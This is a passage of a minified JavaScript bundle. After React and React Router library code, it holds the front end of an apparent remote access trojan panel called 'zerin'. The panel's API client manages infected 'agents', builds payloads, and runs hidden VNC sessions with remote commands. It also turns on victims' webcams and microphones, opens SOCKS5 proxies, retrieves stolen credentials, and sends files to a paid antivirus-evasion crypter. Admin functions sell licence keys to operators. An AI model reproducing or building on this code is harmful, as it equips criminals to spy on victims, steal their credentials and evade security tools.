e=Cn(19,n,t,i),e.elementType=$m,e.lanes=s,e;case yw:return ad(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case vw:o=10;break e;case gw:o=9;break e;case Dh:o=11;break e;case Rh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function ad(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=yw,e.lanes=n,e.stateNode={isHidden:!1},e}function Jf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function em(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function MP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Mf(0),this.expirationTimes=Mf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Mf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function yx(e,t,n,r,i,s,o,l,c){return e=new MP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},nx(s),e}function LP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(mj)}catch(e){console.error(e)}}mj(),mw.exports=xn;var Nx=mw.exports,Bg=Nx;Lm.createRoot=Bg.createRoot,Lm.hydrateRoot=Bg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function kx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function FP(){return Math.random().toString(36).substr(2,8)}function Wg(e,t){return{usr:e.state,key:e.key,idx:t}}function Pp(e,t,n,r){return n===void 0&&(n=null),Oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?gs(t):t,{state:n,key:t&&t.key||r||FP()})}function Qc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function gs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function WP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Pp(g.location,y,v);u=d()+1;let w=Wg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Pp(g.location,y,v);u=d();let w=Wg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Qc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Fg,f),c=y,()=>{i.removeEventListener(Fg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Ug;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ug||(Ug={}));function UP(e,t,n){return n===void 0&&(n="/"),VP(e,t,n)}function VP(e,t,n,r){let i=typeof t=="string"?gs(t):t,s=os(i.pathname||"/",n);if(s==null)return null;let o=pj(e);HP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),pj(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:QP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of hj(s.path))i(s,o,c)}),t}function hj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=hj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function HP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:JP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const KP=/^:[\w-]+$/,GP=3,YP=2,qP=1,XP=10,ZP=-2,Vg=e=>e==="*";function QP(e,t){let n=e.split("/"),r=n.length;return n.some(Vg)&&(r+=ZP),t&&(r+=YP),n.filter(i=>!Vg(i)).reduce((i,s)=>i+(KP.test(s)?GP:s===""?qP:XP),r)}function JP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function eE(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function tE(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),kx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function nE(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return kx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function os(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const rE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,iE=e=>rE.test(e);function aE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?gs(e):e,s;if(n)if(iE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),kx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Hg(n.substring(1),"/"):s=Hg(n,t)}else s=t;return{pathname:s,search:lE(r),hash:cE(i)}}function Hg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function tm(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function sE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function zx(e,t){let n=sE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function Sx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=gs(e):(i=Oo({},e),Xe(!i.pathname||!i.pathname.includes("?"),tm("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),tm("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),tm("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=aE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),oE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),lE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,cE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function uE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const xj=["post","put","patch","delete"];new Set(xj);const dE=["get",...xj];new Set(dE);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function To(){return To=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=Sx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const pE=m.createContext(null);function hE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(pE.Provider,{value:e},t)}function il(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function fd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,r.v7_relativeSplatPath));return m.useMemo(()=>Sx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function xE(e,t){return vE(e,t)}function vE(e,t,n,r){ys()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?gs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=UP(e,{pathname:h}),g=jE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(dd.Provider,{value:{location:To({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function gE(){let e=SE(),t=uE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const yE=m.createElement(gE,null);class bE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(gj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function wE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(ud);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function jE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||yE,c&&(u<0&&p===0?(PE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(wE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(bE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var bj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(bj||{}),wj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(wj||{});function NE(e){let t=m.useContext(ud);return t||Xe(!1),t}function kE(e){let t=m.useContext(vj);return t||Xe(!1),t}function zE(e){let t=m.useContext(hr);return t||Xe(!1),t}function jj(e){let t=zE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function SE(){var e;let t=m.useContext(gj),n=kE(),r=jj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function CE(){let{router:e}=NE(bj.UseNavigateStable),t=jj(wj.UseNavigateStable),n=m.useRef(!1);return yj(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,To({fromRouteId:t},s)))},[e,t])}const Kg={};function PE(e,t,n){Kg[e]||(Kg[e]=!0)}function EE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;ys()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=Sx(t,zx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function _E(e){return hE(e.context)}function pt(e){Xe(!1)}function AE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;ys()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:To({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=gs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=os(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(dd.Provider,{children:n,value:g}))}function OE(e){let{children:t,location:n}=e;return xE(_p(t),n)}new Promise(()=>{});function _p(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,_p(r.props.children,s));return}r.type!==pt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=_p(r.props.children,s)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Jc(){return Jc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function TE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function ME(e,t){return e.button===0&&(!t||t==="_self")&&!TE(e)}function Ap(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function LE(e,t){let n=Ap(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const IE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],DE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],RE="6";try{window.__reactRouterVersion=RE}catch{}const $E=m.createContext({isTransitioning:!1}),BE="startTransition",Gg=dw[BE];function FE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=BP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Gg?Gg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>EE(r),[r]),m.createElement(AE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const WE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",UE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ut=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=Nj(t,IE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&UE.test(u)&&(x=u,WE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=os(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=fE(u,{relative:i}),v=KE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Jc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),VE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Nj(t,DE),p=fd(c,{relative:f.relative}),h=ga(),x=m.useContext(vj),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&GE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=os(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},O=k?r:void 0,A;typeof s=="function"?A=s(S):A=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(S):l;return m.createElement(ut,Jc({},f,{"aria-current":O,className:A,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Op;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Op||(Op={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function HE(e){let t=m.useContext(ud);return t||Xe(!1),t}function KE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=fd(e,{relative:o});return m.useCallback(f=>{if(ME(f,n)){f.preventDefault();let p=r!==void 0?r:Qc(u)===Qc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Cx(e){let t=m.useRef(Ap(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>LE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=Ap(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function GE(e,t){t===void 0&&(t={});let n=m.useContext($E);n==null&&Xe(!1);let{basename:r}=HE(Op.useViewTransitionState),i=fd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=os(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=os(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Ep(i.pathname,o)!=null||Ep(i.pathname,s)!=null}const md="zerin_token",pd="zerin_role",hd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(md,n.data.token),n.data.role&&sessionStorage.setItem(pd,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(md)}function Px(e){sessionStorage.setItem(md,e)}function al(){sessionStorage.removeItem(md),sessionStorage.removeItem(pd),sessionStorage.removeItem(hd),Mo=null}function kj(){return sessionStorage.getItem(hd)||"rat"}let Mo=null;function YE(){return st()?Mo&&Date.now()/1e3>Mo?(al(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){al(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function zj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function qE(e){const t=await zj(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function XE(e){const t=await zj(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function Sj(e){return Ce("/api/agents")}async function ZE(e){return Ce(`/api/agents/${e}`)}async function Cj(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function QE(e){await Promise.all(e.map(t=>Cj(t)))}async function JE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function e6(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function t6(){return Ce("/api/events")}async function n6(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function r6(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function i6(){return Ce("/api/payloads")}async function a6(){return Ce("/api/server-info")}async function s6(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Ex(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function o6(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function Pj(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function l6(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function c6(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Ej(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function u6(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function _j(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function d6(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Aj(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function f6(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function m6(e){return Ce(`/api/agents/${e}/socks5/status`)}async function p6(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw al(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function h6(){return Ce("/api/admin/keys")}async function x6(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function v6(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function g6(){return Ce("/api/admin/operators")}async function y6(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function b6(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function w6(){return Ce("/api/credentials")}let wc=[];function j6(e){return wc.push(e),()=>{wc=wc.filter(t=>t!==e)}}function N6(){return YE()}function zi(){wc.forEach(e=>e())}function k6(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(j6,N6),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{al(),zi()},[]),r=e?k6():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class z6 extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex 